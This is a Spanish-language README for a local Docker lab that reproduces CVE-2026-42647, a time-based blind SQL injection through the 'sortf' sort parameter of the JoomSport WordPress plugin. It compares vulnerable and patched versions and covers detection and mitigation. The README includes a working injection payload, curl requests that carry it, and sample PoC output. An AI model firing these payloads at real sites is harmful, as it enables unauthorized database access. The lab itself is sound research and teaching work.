
sortfEste repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-42647, una vulnerabilidad de inyección SQL no autenticada que afecta al plugin de WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.
El comportamiento vulnerable ocurre en la función de ordenación de la lista de jugadores. Un visitante público puede controlar el parámetro de consulta sortf, que se utiliza para construir una cláusula SQL ORDER BY. En las versiones vulnerables, el valor se sanea como texto y se envuelve entre comillas invertidas, pero no se valida contra una lista blanca estricta antes de añadirse a la consulta SQL.
Este laboratorio compara dos versiones de JoomSport:
| Servicio | Versión de JoomSport | Propósito | URL |
|---|---|---|---|
vuln | 5.7.6 | Objetivo vulnerable de comparación | http://localhost:8081 |
patched | 5.7.8 | Objetivo parcheado de comparación | http://localhost:8082 |
Los avisos públicos identifican las versiones anteriores a 5.7.8 como afectadas y 5.7.8 como la versión corregida. Este laboratorio utiliza 5.7.6 como objetivo vulnerable porque no había una etiqueta de código fuente 5.7.7 disponible en el listado de etiquetas SVN del plugin en WordPress.org cuando se preparó este laboratorio.
La cadena de vulnerabilidad demostrada es:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
Este laboratorio valida la vulnerabilidad como una inyección SQL ciega basada en tiempo. No realiza volcado de bases de datos, extracción de credenciales, modificación de datos ni operaciones SQL destructivas.
Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración de portafolio.
## Hechos Verificados
| Afirmación | Evidencia | Cómo verificar en este laboratorio |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| Se informa que JoomSport anterior a 5.7.8 es vulnerable a una inyección SQL no autenticada. | Los avisos públicos identifican a JoomSport `< 5.7.8` / `<= 5.7.7` como afectado. | Revise la sección de Referencias y compare los servicios vulnerable y parcheado. |
| JoomSport 5.7.8 es la versión corregida. | Los avisos públicos y la comparación de código fuente muestran que 5.7.8 valida el valor de `sortf` antes de construir la expresión de ordenamiento. | Inspeccione `class-jsport-playerlist.php` en ambas versiones. |
| El parámetro afectado es `sortf`. | El código vulnerable de la lista de jugadores lee `classJsportRequest::get('sortf')`. | Ejecute el PoC y observe la petición `sortf` inyectada. |
| El código vulnerable construye un valor de ordenamiento SQL dinámico a partir de la entrada del usuario. | En la versión vulnerable, `sortf` se usa para construir `$options['ordering']`. | Inspeccione `sportleague/classes/objects/class-jsport-playerlist.php`. |
| El sumidero SQL es una cláusula `ORDER BY`. | El valor `$ordering` generado se añade posteriormente a una consulta SQL con `ORDER BY`. | Inspeccione `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| El parche utiliza una corrección de tipo lista de permitidos. | La versión parcheada introduce columnas estáticas permitidas y patrones esperados de campos dinámicos antes de usar el campo de ordenamiento. | Compare el código fuente de JoomSport 5.7.6 y 5.7.8. |
| El laboratorio demuestra una inyección SQL ciega basada en tiempo. | El objetivo vulnerable se retrasa cuando se usa una expresión `SLEEP()` inyectada; el objetivo parcheado no lo hace. | Ejecute `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Suposiciones e Incógnitas
Este laboratorio utiliza JoomSport 5.7.6 como objetivo vulnerable de comparación porque la versión pública corregida es la 5.7.8 y no había una etiqueta de código fuente 5.7.7 disponible en el listado de etiquetas SVN del plugin de WordPress.org cuando se preparó el laboratorio.
El laboratorio no afirma que 5.7.6 sea la única versión vulnerable. Se utiliza como una línea base vulnerable reproducible para comparar el comportamiento vulnerable con el comportamiento parcheado de 5.7.8.
El laboratorio se centra en el parámetro `sortf` en el flujo de ordenamiento de la lista de jugadores.
El impacto demostrado es una inyección SQL ciega basada en tiempo. El laboratorio no demuestra:
* volcado directo de la base de datos,
* extracción de credenciales,
* omisión de autenticación,
* escalada de privilegios,
* modificación arbitraria de datos,
* ejecución remota de código,
* persistencia,
* devoluciones de llamada externas,
* o ataques contra sistemas fuera del laboratorio.
Puede ser posible un comportamiento basado en errores o basado en booleanos dependiendo del comportamiento de la base de datos, la configuración de la aplicación y las diferencias en las respuestas, pero este laboratorio no se basa en esas técnicas. La prueba principal está basada en tiempos.
## Resumen de la Causa Raíz
La causa raíz es la construcción insegura de una cláusula SQL dinámica `ORDER BY` a partir del parámetro de petición `sortf`.
La ruta de código vulnerable comienza en:```text
sportleague/classes/objects/class-jsport-playerlist.php
Dentro de la lógica de carga de la lista de jugadores, JoomSport lee el parámetro de solicitud:```text sortf
y lo utiliza para construir:```text
$options['ordering']
El patrón de código fuente vulnerable relevante es:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
El problema no es principalmente el parámetro `sortd`. El valor de `sortd` está restringido a:```text
ASC
DESC
El problema es el parámetro sortf porque controla la posición del identificador/expresión SQL utilizada para la ordenación.
La expresión peligrosa es:```php
"".classJsportRequest::get('sortf').""
El código coloca la entrada controlada por el atacante dentro de un contexto de identificador de MySQL y luego la pasa como un fragmento de ordenación SQL.
El código aplica:```php
sanitize_text_field()
but sanitize_text_field() no es validación de identificadores SQL. Está diseñado para limpiar texto, no para construir sintaxis SQL de forma segura.
El código vulnerable también envuelve el campo de ordenación controlado por el usuario entre comillas invertidas. Sin embargo, las comillas invertidas no son un límite de seguridad cuando el atacante puede influir en el contenido del identificador. Si un atacante puede inyectar una comilla invertida en el valor, puede salir del contexto de identificador previsto.
El valor de ordenación generado se pasa posteriormente a la consulta de recuperación del jugador y se añade a una cláusula SQL ORDER BY en:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
El patrón sink es:```php
$query .= ' ORDER BY '.($ordering);
Esto crea el flujo de datos vulnerable:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
El problema de seguridad es que la aplicación trata un parámetro de solicitud controlado por el usuario como un identificador/expresión SQL sin validarlo primero contra una lista de permitidos estricta.
## Resumen del Parche de Origen
El parche relevante está en:```text
sportleague/classes/objects/class-jsport-playerlist.php
En la versión vulnerable, el código de la lista de jugadores construye $options['ordering'] directamente desde el valor de la solicitud:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
La parte vulnerable es que `classJsportRequest::get('sortf')` se usa dentro de la expresión de ordenación SQL.
JoomSport 5.7.8 cambia este comportamiento introduciendo una variable de campo de ordenación validada antes de construir `$options['ordering']`.
La versión corregida inicializa un valor predeterminado seguro:```php
$sortFieldEsc = 'post_title';
Luego define las columnas de ordenación estáticas permitidas:```php $sortCols = array("played", "career_minutes", "post_title");
Cuando `sortf` está presente, el código parcheado solo lo acepta si coincide con uno de los valores estáticos esperados:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
El parche también permite los formatos esperados de campos dinámicos de evento/estadística:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
El último cambio relevante para la seguridad es que `$options['ordering']` se construye a partir de `$sortFieldEsc` en lugar del valor bruto de la solicitud `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
Esto no elimina la ordenación dinámica. Cambia el límite de confianza.
Antes del parche:```text request sortf value directly controlled the ORDER BY identifier
Después del parche:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
Si el atacante envía un valor inesperado como:```text post_title`DESC,(SLEEP(2))#
el código parcheado no asigna ese valor a `$sortFieldEsc`.
En su lugar, el campo de ordenación recurre a:```text
post_title
Esta es la razón por la que el servicio vulnerable se retrasa, mientras que el servicio parcheado se mantiene cerca del tiempo base.
La lección de seguridad del parche es:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## Arquitectura del laboratorio
El laboratorio ejecuta dos instalaciones de WordPress aisladas mediante Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
The two WordPress services run separate databases and separate plugin versions:
Default exposed services:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
El proceso de configuración crea los datos mínimos de JoomSport necesarios para renderizar la ruta de la lista de jugadores:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
Los servicios vulnerables y parcheados utilizan la misma forma de datos de laboratorio para que el comportamiento de los tiempos pueda compararse de manera justa.
requests de Python para ejecutar el PoC desde el hostInstala la dependencia de Python en el host si es necesario:```bash python3 -m pip install requests
## Inicio rápido
Inicia el laboratorio:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Observa los contenedores de configuración:```bash docker compose logs -f setup-vuln setup-patched
Mensajes de finalización de configuración esperados:```text
[VULN] setup complete
[PATCHED] setup complete
Comprueba el estado del contenedor:```bash docker compose ps
Servicios expuestos esperados:```text
http://localhost:8081
http://localhost:8082
Ejecute el PoC contra el objetivo vulnerable:```bash python3 poc/poc.py http://localhost:8081
Ejecuta el PoC contra el objetivo parcheado:```bash
python3 poc/poc.py http://localhost:8082
Ejecuta el PoC contra ambos objetivos en un solo comando:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Para obtener estadísticas de tiempos más estables, aumenta el número de rondas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
También puedes ajustar el tiempo de espera solicitado:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
## Uso del PoC
El PoC comprueba cada objetivo de forma independiente.
Ya no requiere opciones separadas `--vuln-url` o `--patched-url`. En su lugar, pasa una o más URL de objetivo como argumentos posicionales:```bash
python3 poc/poc.py <target_url> [target_url...]
Ejemplos:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082
Si no se proporciona una URL de destino, el script solicita interactivamente una o más URL de destino locales.
Opciones admitidas:```text
--season-id Seeded JoomSport season post ID. Default: 4
--rounds Number of requests per baseline/injected series. Default: 3
--sleep SLEEP() seconds used in the timing payload. Default: 2
El PoC es intencionalmente de alcance local. Acepta objetivos de estilo localhost, como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
El PoC rechaza objetivos no locales por defecto.
## Cómo decide el PoC
Para cada objetivo, el PoC realiza dos series de temporización:```text
[1/2] Baseline timing
[2/2] Injected timing
La solicitud de referencia utiliza un campo de ordenación normal:```text sortf=post_title
La solicitud inyectada utiliza un payload de temporización solo local en el parámetro `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#
El PoC calcula:```text delta = injected median - baseline median
Then it classifies the target:
| Verdict | Meaning |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | La solicitud inyectada es significativamente más lenta que la línea base. |
| `PATCHED-LIKE` | La solicitud inyectada se mantiene cerca de la línea base. |
| `UNREACHABLE` | No se pudo alcanzar el objetivo. |
| `INCONCLUSIVE` | Algunos datos de tiempos faltaban o estaban incompletos. |
Default decision rule:```text
injected median - baseline median >= 60% of requested SLEEP()
Para el --sleep 2 predeterminado, el umbral es:```text
1.200s median delta
Esto significa que un objetivo solo se reporta como `VULNERABLE-LIKE` cuando la solicitud inyectada es claramente más lenta que su propia línea base.
Los objetivos inalcanzables o no concluyentes no se cuentan como parcheados.
## Reproducción manual de HTTP con curl
Puede reproducir la validación manualmente sin usar el PoC de Python.
Solicitud de línea base vulnerable:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Solicitud inyectada vulnerable:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Solicitud de baseline parcheada:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
Solicitud inyectada parcheada:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
Comparación esperada:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched -> injected request stays near baseline timing
Comando:```bash python3 poc/poc.py http://localhost:8081
Señal vulnerable esperada:```text
CVE-2026-42647 JoomSport local timing validation
Scope : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic : baseline timing vs injected timing per target
Targets : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta
================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing
run 01: status=200 time=0.092s bytes=75333
run 02: status=200 time=0.044s bytes=75333
run 03: status=200 time=0.046s bytes=75333
summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
summary status=200x3 bytes=75333
[2/2] Injected timing
run 01: status=200 time=6.050s bytes=75321
run 02: status=200 time=6.058s bytes=75321
run 03: status=200 time=6.095s bytes=75321
summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
summary status=200x3 bytes=75321
Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta : 6.011s
Ratio : 130.8x
Threshold : 1.200s
Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Objetivo parcheado
Comando:```bash
python3 poc/poc.py http://localhost:8082
Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
### Múltiples Objetivos
Comando:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
Resultado esperado:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
### Objetivo inalcanzable
Si un objetivo no está en ejecución, el PoC debería reportar `UNREACHABLE`, no `PATCHED-LIKE`.
Ejemplo:```bash
python3 poc/poc.py http://localhost:8083
Decisión esperada:```text Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
Los objetivos inalcanzables no se cuentan como parcheados.
## Cómo funciona el PoC
El PoC sondea la ruta de la lista de jugadores de JoomSport en busca de una publicación de temporada sembrada.
La ruta objetivo es equivalente a:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
La solicitud base utiliza:```text sortf=post_title
Esto debería producir una ordenación normal de la lista de jugadores.
La solicitud inyectada utiliza:```text
sortf=post_title`DESC,(SLEEP(2))#
El código vulnerable envuelve sortf en comillas invertidas y añade una dirección de ordenación. El valor inyectado está diseñado para salir del contexto de identificador previsto e introducir una expresión de temporización en la cláusula ORDER BY.
Conceptualmente, el fragmento SQL vulnerable se vuelve similar a:```sql
ORDER BY post_title DESC, (SLEEP(2))
El marcador de comentario `#` evita que la comilla invertida final y la dirección interfieran con la expresión inyectada.
Esto no es una carga útil de consulta apilada. No inyecta:```sql
; SELECT SLEEP(2);
En lugar de eso, inyecta una expresión SQL dentro del contexto ORDER BY existente.
La versión parcheada no ejecuta la expresión inyectada porque el valor de sortf se comprueba contra los campos de ordenación permitidos y vuelve a post_title cuando el valor es inesperado.
Este laboratorio demuestra una inyección SQL ciega basada en tiempo no autenticada en el parámetro sortf de la lista de jugadores de JoomSport.
La versión vulnerable ejecuta una expresión SQL de temporización inyectada a través de la cláusula ORDER BY, produciendo un claro retardo en la respuesta. La versión parcheada no se retrasa porque el campo de ordenación inyectado se rechaza y se sustituye por un valor seguro de la lista permitida.
El laboratorio demuestra únicamente la ejecución SQL basada en tiempo. No demuestra extracción de datos, modificación de datos, bypass de autenticación, escalada de privilegios ni ejecución remota de código.
Los indicadores potenciales incluyen solicitudes directas a las rutas de la lista de jugadores de JoomSport con valores inusuales de sortf.
Ejemplo de patrón de solicitud sospechosa:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC
Características sospechosas de `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
Ejemplo de solicitud de laboratorio local:```text sortf=post_title`DESC,(SLEEP(2))#
Señal vulnerable esperada:```text
HTTP 200 response with significant timing delay
Señal parcheada esperada:```text HTTP 200 response without significant timing delay
Posibles ideas de monitoreo en producción:
* Revisar los registros de acceso web en busca de valores inusuales de `sortf`.
* Alertar sobre palabras clave SQL o marcadores de comentarios dentro de los parámetros de ordenamiento.
* Monitorear solicitudes repetidas a las rutas de la lista de jugadores de JoomSport con pequeños cambios en los parámetros.
* Monitorear consultas lentas de base de datos que involucren las tablas de la lista de jugadores de JoomSport.
* Correlacionar solicitudes lentas con tráfico público no autenticado.
* Revisar si JoomSport está instalado y si su versión es anterior a la 5.7.8.
## Notas de Mitigación y Parches
Actualice JoomSport a la versión 5.7.8 o posterior.
La versión corregida restringe el parámetro `sortf` a los campos de ordenamiento esperados y a los patrones de campos dinámicos. Los valores inesperados recurren a un campo de ordenamiento seguro por defecto.
Guía de mitigación a nivel de aplicación:
* Actualice el complemento JoomSport.
* No exponga versiones desactualizadas del complemento en sitios públicos de WordPress.
* Revise los registros web en busca de parámetros `sortf` sospechosos.
* Desactive o restrinja la funcionalidad afectada solo como mitigación temporal si la actualización inmediata no es posible.
* Utilice una regla de firewall de aplicación web como capa temporal, no como reemplazo del parcheo.
* Trate los identificadores SQL dinámicos de manera diferente a los valores normales: use listas permitidas para nombres de columnas, nombres de tablas, direcciones de ordenamiento y componentes similares de sintaxis SQL.
El control más importante es la lista permitida. El escapado por sí solo no es una solución completa para los identificadores SQL dinámicos.
## Comandos Útiles de Verificación
Compruebe los contenedores en ejecución:```bash
docker compose ps
Ver registros de configuración:```bash docker compose logs -f setup-vuln setup-patched
Comprobar servicios de WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082
Ejecuta el PoC contra el servicio vulnerable:```bash python3 poc/poc.py http://localhost:8081
Ejecuta el PoC contra el servicio parcheado:```bash
python3 poc/poc.py http://localhost:8082
Ejecuta el PoC contra ambos servicios:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
Ejecuta el PoC con más rondas:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
Guardar evidencia:```bash mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt
docker compose ps
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
evidence/docker-compose-logs.txt
Comprueba las versiones de los plugins dentro de WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Inspeccione el código fuente vulnerable:```bash
docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspecciona el código fuente parcheado:```bash
docker compose exec -T patched sh -lc \
"grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
Inspeccionar el sink SQL:```bash
docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
## Limpieza
Detener y eliminar contenedores y redes:```bash
docker compose down --remove-orphans
Elimina contenedores, redes y volúmenes:```bash docker compose down -v --remove-orphans
Elimina los archivos de evidencia si se crearon:```bash
rm -rf evidence/
Este laboratorio es únicamente para investigación de seguridad local y demostración controlada.
No ejecutes el PoC ni los payloads contra sistemas que no te pertenezcan o para los que no tengas permiso explícito de prueba.
No uses credenciales reales, secretos de producción ni objetivos externos en este laboratorio.
El PoC está limitado intencionalmente a servicios locales de Docker, como:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082
El PoC no incluye payloads para volcado de bases de datos, robo de credenciales, modificación de datos, persistencia, movimiento lateral o devoluciones de llamada externas.
El objetivo es demostrar una condición técnica específica en un entorno controlado:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version
Aviso de Wordfence: JoomSport <= 5.7.7 - Inyección SQL no autenticada a través del parámetro sortf
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
Aviso de Wordfence: JoomSport - for Sports: Team & League, Football, Hockey & more <= 5.7.7 - Inyección SQL no autenticada https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
Base de datos de vulnerabilidades de complementos de WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/
Plugin de WordPress.org: JoomSport - for Sports: Team & League, Football, Hockey & more https://wordpress.org/plugins/joomsport-sports-league-results-management/
Plugin SVN de WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
Etiquetas SVN del Plugin de WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
Guía de pruebas de seguridad web de OWASP: Pruebas de inyección SQL https://owasp.org/www-project-web-security-testing-guide/
Serie de hojas de referencia de OWASP: Prevención de inyección SQL https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Service | Component | Version / Role |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | database for vulnerable target |
db-patched | MariaDB | database for patched target |
setup-vuln | WP-CLI init service | installs WordPress and seeds vulnerable target |
setup-patched | WP-CLI init service | installs WordPress and seeds patched target |